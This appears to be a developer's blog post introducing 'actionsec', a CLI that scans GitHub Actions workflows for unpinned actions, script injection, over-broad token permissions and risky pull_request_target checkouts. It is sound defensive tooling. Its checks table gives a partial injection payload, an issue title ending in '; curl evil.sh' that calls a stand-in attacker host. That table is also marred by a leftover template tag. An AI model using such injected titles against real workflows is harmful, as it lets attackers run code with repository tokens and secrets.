GitHub Actions에서 실제로 리포지션이 손상되는 실수를 검사하는 제로 딥 CLI

작성자

카테고리:

← 피드로
DEV Community · benjamin · 2026-06-12 개발(SW)
Cover image for A zero-dep CLI that scans your GitHub Actions for the mistakes that actually get repos compromised

benjamin

Your CI workflow is the softest target in your repo. It runs automatically, it
has a GITHUB_TOKEN that can push commits, and it can read your secrets. The
supply-chain attacks of 2025 — reviewdog, tj-actions/changed-files — all came
in through the same unlocked door: a workflow that trusted a mutable action
tag
, so when the upstream tag got repointed at malicious code, every consumer
ran it with full privileges.

The uncomfortable stat: 71% of repositories never pin their actions to a commit
SHA
.
@v4 is not a version — it’s a
moving pointer someone else controls.

I wanted a five-second check for this and the other top footguns, with nothing to
install and nothing to configure. So I built actionsec.

npx actionsec

Enter fullscreen mode Exit fullscreen mode

.github/workflows/ci.yml
  ✗ critical  L12   pull-request-target-checkout  pull_request_target checks out PR head code — untrusted code runs with a write token
  ✗ critical  L16   script-injection              untrusted github.event.pull_request.title in a run step
  ✗ high      L5    broad-permissions             permissions: write-all gives the token full read/write
  ✗ high      L13   unpinned-action               some-marketplace/deploy-action@main is a mutable branch — pin to a SHA
  ✗ medium    L10   unpinned-action               actions/checkout@v4 is a mutable tag — pin to a SHA

✗ 5 issue(s) in 1 of 1 file(s) — 2 critical, 2 high, 1 medium

Enter fullscreen mode Exit fullscreen mode

The five checks

Check Why it matters unpinned-action @v4 / @main is mutable. If the upstream tag is repointed (compromise or maintainer error), you run new code with your token. Pin to a 40-char SHA. script-injection ${{ github.event.issue.title }} in a run: step is substituted into the shell before it runs — a crafted issue title like `”; curl evil.sh broad-permissions {% raw %}permissions: write-all hands the token the whole repo. One injected command and it’s pushing to main. missing-permissions No permissions: block means the repo default — often more than the job needs. pull-request-target-checkout pull_request_target runs with a privileged token and secrets; checking out the PR’s code then executes a stranger’s code with them.

The interesting constraint: zero dependencies on YAML

Workflows are YAML, and here’s the thing — neither Node nor Python ships a YAML
parser in the standard library.
Pulling one in would mean the tool itself has a
dependency tree (the exact thing a security tool shouldn’t have).

So actionsec doesn’t parse YAML into a tree at all. It scans line by line with
light block-awareness. That sounds crude, but it turns out every one of these
checks is textually distinctive — a uses: line, a ${{ }} expression inside
a run: block — so a careful line scanner catches them without ever needing to
understand the document structure. The payoff: it installs in one step, depends
on nothing, and runs in milliseconds. (It even distinguishes a third-party action
on a tag, high, from a GitHub-owned actions/* on a tag, medium.)

It is not trying to replace actionlint
(YAML/syntax validation) or zizmor (deep
dataflow analysis). It’s the fast, zero-config first pass that fits in a pre-commit
hook or a one-line CI gate.

In CI

# fail the build on the serious stuff
- run: npx actionsec --min-severity high

Enter fullscreen mode Exit fullscreen mode

Exit 0 clean, 1 issues found, 2 error. --format json for tooling.

Install

npx actionsec          # Node — zero deps
pip install actionsec  # Python — pure stdlib, works on any repo

Enter fullscreen mode Exit fullscreen mode

Both produce byte-for-byte identical output.

Try it on your own repos

Point it at a repo you maintain — npx actionsec path/to/repo — and tell me what
it finds. I’m especially curious how many @v4s are hiding in workflows people
think of as “official and therefore safe.”

When you write a workflow, do you pin actions to a SHA, or is @v4 good enough for
your threat model?

원문에서 계속 ↗

코멘트

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다